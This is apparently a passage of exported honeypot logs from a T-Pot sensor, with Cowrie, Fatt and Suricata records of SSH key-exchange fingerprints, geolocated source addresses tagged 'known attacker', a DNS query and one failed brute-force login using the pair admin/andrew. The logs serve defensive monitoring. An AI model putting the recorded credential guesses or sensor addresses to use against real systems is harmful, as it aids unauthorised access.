"curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a3895fee11a0", "@version": "1", "timestamp": "2021-09-20T11:07:04.334457Z", "@timestamp": "2021-09-20T11:07:04.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22339	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:04.233262+03	2021-09-20 14:15:04.809613+03	{"_id": "fwbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59544, "timestamp": "2021-09-20T11:07:04.233262", "@timestamp": "2021-09-20T11:07:04.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22340	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:04.265497+03	2021-09-20 14:15:04.810614+03	{"_id": "gAbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59544, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.265497", "@timestamp": "2021-09-20T11:07:04.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22341	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:04.305974+03	2021-09-20 14:15:04.811613+03	{"_id": "gQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 33428, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.305974", "@timestamp": "2021-09-20T11:07:04.305Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22342	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.933676+03	2021-09-20 14:15:04.813613+03	{"_id": "oAbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "48da12aa7451", "@version": "1", "timestamp": "2021-09-20T11:07:04.933676Z", "@timestamp": "2021-09-20T11:07:04.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
40949	192.168.20.116	109.199.241.180	Suricata	2021-09-20 16:02:25.565026+03	2021-09-20 16:15:02.085777+03	{"_id": "BAZMA3wBvYTbRNuE8Yx4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 9137, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1407012065877794, "@version": "1", "in_iface": "enp5s0", "src_port": 57334, "dest_port": 53, "timestamp": "2021-09-20T13:02:25.565026Z", "@timestamp": "2021-09-20T13:02:25.565Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
22343	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:05.017661+03	2021-09-20 14:15:04.815612+03	{"_id": "oQbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/andrew] failed", "session": "445b8725efc6", "@version": "1", "password": "andrew", "username": "admin", "timestamp": "2021-09-20T11:07:05.017661Z", "@timestamp": "2021-09-20T11:07:05.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22344	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:04.401054+03	2021-09-20 14:15:04.816613+03	{"_id": "hAbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54150, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.401054", "@timestamp": "2021-09-20T11:07:04.401Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
